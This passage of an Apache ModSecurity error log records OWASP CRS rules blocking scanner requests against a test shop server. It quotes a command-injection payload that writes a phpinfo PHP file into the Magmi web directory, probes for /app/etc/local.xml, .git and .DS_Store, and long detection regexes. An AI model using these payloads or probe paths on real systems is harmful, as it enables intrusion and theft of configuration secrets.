&quot;ZQCVfUHCu4IUL-MQOEg-JgAAABI&quot;]
[Tue Sep 12 18:44:45.458576 2023] [:error] [pid 1804943] [client 35.91.77.239:7868] [client 35.91.77.239] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 25)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/ajax_pluginconf.php&quot;] [unique_id &quot;ZQCVfUHCu4IUL-MQOEg-JgAAABI&quot;]
[Tue Sep 12 18:44:45.458731 2023] [:error] [pid 1804943] [client 35.91.77.239:7868] [client 35.91.77.239] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 25, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/ajax_pluginconf.php&quot;] [unique_id &quot;ZQCVfUHCu4IUL-MQOEg-JgAAABI&quot;]
[Tue Sep 12 18:48:33.772383 2023] [:error] [pid 1804935] [client 35.91.77.239:35132] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:m[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*q[\\&quot;\\\\^]*l(?:[\\&quot;\\\\^]*(?:d[\\&quot;\\\\^]*u[\\&quot;\\\\^]*m[\\&quot;\\\\^]*p(?:[\\&quot;\\\\^]*s[\\&quot;\\\\^ ...&quot; at ARGS:query. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;258&quot;] [id &quot;932110&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: { date download_url found within ARGS:query:  {customerDownloadableProducts { items { date download_url}} }&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-windows&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/graphql&quot;] [unique_id &quot;ZQCWYUw147bt2311TdSoywAAAAA&quot;]
[Tue Sep 12 18:48:33.772971 2023] [:error] [pid 1804935] [client 35.91.77.239:35132] [client 35.91.77.239] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/graphql&quot;] [unique_id &quot;ZQCWYUw147bt2311TdSoywAAAAA&quot;]
[Tue Sep 12 18:48:33.773152 2023] [:error] [pid 1804935] [client 35.91.77.239:35132] [client 35.91.77.239] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/graphql&quot;] [unique_id &quot;ZQCWYUw147bt2311TdSoywAAAAA&quot;]
[Tue Sep 12 18:50:50.190357 2023] [:error] [pid 1804943] [client 35.91.77.239:19218] [client 35.91.77.239] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;ZQCW6kHCu4IUL-MQOEg-JwAAABI&quot;]
[Tue Sep 12 18:50:50.190620 2023] [:error] [pid 1804943] [client 35.91.77.239:19218] [client 35.91.77.239] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;ZQCW6kHCu4IUL-MQOEg-JwAAABI&quot;]
[Tue Sep 12 18:50:50.190781 2023] [:error] [pid 1804943] [client 35.91.77.239:19218] [client 35.91.77.239] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;ZQCW6kHCu4IUL-MQOEg-JwAAABI&quot;]
[Tue Sep 12 18:50:50.696629 2023] [:error] [pid 1804970] [client 35.91.77.239:19224] [client 35.91.77.239] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml.additional&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.additional&quot;] [unique_id &quot;ZQCW6mbl9GEjRgyZ7xWEkQAAAAI&quot;]
[Tue Sep 12 18:50:50.696906 2023] [:error] [pid 1804970] [client 35.91.77.239:19224] [client 35.91.77.239] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.additional&quot;] [unique_id &quot;ZQCW6mbl9GEjRgyZ7xWEkQAAAAI&quot;]
[Tue Sep 12 18:50:50.697171 2023] [:error] [pid 1804970] [client 35.91.77.239:19224] [client 35.91.77.239] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.additional&quot;] [unique_id &quot;ZQCW6mbl9GEjRgyZ7xWEkQAAAAI&quot;]
[Tue Sep 12 18:50:51.212482 2023] [:error] [pid 1804805] [client 35.91.77.239:19234] [client 35.91.77.239] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /store/app/etc/local.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/app/etc/local.xml&quot;] [unique_id &quot;ZQCW60R02RG9funUjGi_-wAAAAU&quot;]
[Tue Sep 12 18:50:51.212747 2023] [:error] [pid 1804805] [client 35.91.77.239:19234] [client 35.91.77.239] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/app/etc/local.xml&quot;] [unique_id &quot;ZQCW60R02RG9funUjGi_-wAAAAU&quot;]
[Tue Sep 12 18:50:51.212912 2023] [:error] [pid 1804805] [client 35.91.77.239:19234] [client 35.91.77.239] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/app/etc/local.xml&quot;] [unique_id &quot;ZQCW60R02RG9funUjGi_-wAAAAU&quot;]
[Tue Sep 12 18:50:51.452920 2023] [:error] [pid 1804265] [client 35.91.77.239:19236] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:REINDEX:phpcli. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: ; php found within ARGS:REINDEX:phpcli: echo \\x22&lt;?php phpinfo();\\x22 &gt; /var/www/html/magmi/web/info.php; php &quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi_saveprofile.php&quot;] [unique_id &quot;ZQCW65s0zl96xZEaSQf41gAAAAc&quot;]
[Tue Sep 12 18:50:51.453105 2023] [:error] [pid 1804265] [client 35.91.77.239:19236] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:REINDEX:phpcli. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: ; php found within ARGS:REINDEX:phpcli: echo \\x22&lt;?php phpinfo();\\x22 &gt; /var/www/html/magmi/web/info.php; php &quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-windows&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi_saveprofile.php&quot;] [unique_id &quot;ZQCW65s0zl96xZEaSQf41gAAAAc&quot;]
[Tue Sep 12 18:50:51.453469 2023] [:error] [pid 1804265] [client 35.91.77.239:19236] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:l[\\\\\\\\&#039;\\&quot;]*(?:s(?:[\\\\\\\\&#039;\\&quot;]*(?:b[\\\\\\\\&#039;\\&quot;]*_[\\\\\\\\&#039;\\&quot;]*r[\\\\\\\\&#039;\\&quot;]*e[\\\\\\\\&#039;\\&quot;]*l[\\\\\\\\&#039; ...&quot; at ARGS:REINDEX:phpcli. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;471&quot;] [id &quot;932150&quot;] [msg &quot;Remote Command Execution: Direct Unix Command Execution&quot;] [data &quot;Matched Data: echo  found within ARGS:REINDEX:phpcli: echo \\x22&lt;?php phpinfo();\\x22 &gt; /var/www/html/magmi/web/info.php; php &quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi_saveprofile.php&quot;] [unique_id &quot;ZQCW65s0zl96xZEaSQf41gAAAAc&quot;]
[Tue Sep 12 18:50:51.453689 2023] [:error] [pid 1804265] [client 35.91.77.239:19236] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?:&lt;\\\\?(?!xml\\\\s)|&lt;\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])&quot; at ARGS:REINDEX:phpcli. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;67&quot;] [id &quot;933100&quot;] [msg &quot;PHP Injection Attack: PHP Open Tag Found&quot;] [data &quot;Matched Data: &lt;? found within ARGS:REINDEX:phpcli: echo \\x22&lt;?php phpinfo();\\x22 &gt; /var/www/html/magmi/web/info.php; php &quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi_saveprofile.php&quot;] [unique_id &quot;ZQCW65s0zl96xZEaSQf41gAAAAc&quot;]
[Tue Sep 12 18:50:51.454112 2023] [:error] [pid 1804265] [client 35.91.77.239:19236] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS:REINDEX:phpcli. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: phpinfo() found within ARGS:REINDEX:phpcli: echo \\x22&lt;?php phpinfo();\\x22 &gt; /var/www/html/magmi/web/info.php; php &quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi_saveprofile.php&quot;] [unique_id &quot;ZQCW65s0zl96xZEaSQf41gAAAAc&quot;]
[Tue Sep 12 18:50:51.457686 2023] [:error] [pid 1804265] [client 35.91.77.239:19236] [client 35.91.77.239] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 25)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi_saveprofile.php&quot;] [unique_id &quot;ZQCW65s0zl96xZEaSQf41gAAAAc&quot;]
[Tue Sep 12 18:50:51.457845 2023] [:error] [pid 1804265] [client 35.91.77.239:19236] [client 35.91.77.239] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 25, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi_saveprofile.php&quot;] [unique_id &quot;ZQCW65s0zl96xZEaSQf41gAAAAc&quot;]
[Tue Oct 03 22:45:55.432536 2023] [:error] [pid 2190444] [client 45.135.57.32:36429] [client 45.135.57.32] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZRx9gwZviCQdMrFEFkbrNwAAADw&quot;], referer: http://pms.test.indacotrentino.com/.git/HEAD
[Tue Oct 03 22:45:55.438411 2023] [:error] [pid 2190444] [client 45.135.57.32:36429] [client 45.135.57.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZRx9gwZviCQdMrFEFkbrNwAAADw&quot;], referer: http://pms.test.indacotrentino.com/.git/HEAD
[Tue Oct 03 22:45:55.438614 2023] [:error] [pid 2190444] [client 45.135.57.32:36429] [client 45.135.57.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZRx9gwZviCQdMrFEFkbrNwAAADw&quot;], referer: http://pms.test.indacotrentino.com/.git/HEAD
[Sat Nov 04 22:19:08.510466 2023] [authz_core:error] [pid 2940355] [client 139.144.150.45:54720] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sat Nov 04 22:19:09.717833 2023] [:error] [pid 2940356] [client 139.144.150.45:54744] [client 139.144.150.45] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZUa1TSx42qkWuW3_EpEkCAAAAAk&quot;]
[Sat Nov 04 22:19:09.718076 2023] [:error] [pid 2940356] [client 139.144.150.45:54744] [client 139.144.150.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZUa1TSx42qkWuW3_EpEkCAAAAAk&quot;]
[Sat Nov 04 22:19:09.718223 2023] [:error] [pid 2940356] [client 139.144.150.45:54744] [client 139.144.150.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZUa1TSx42qkWuW3_EpEkCAAAAAk&quot;]
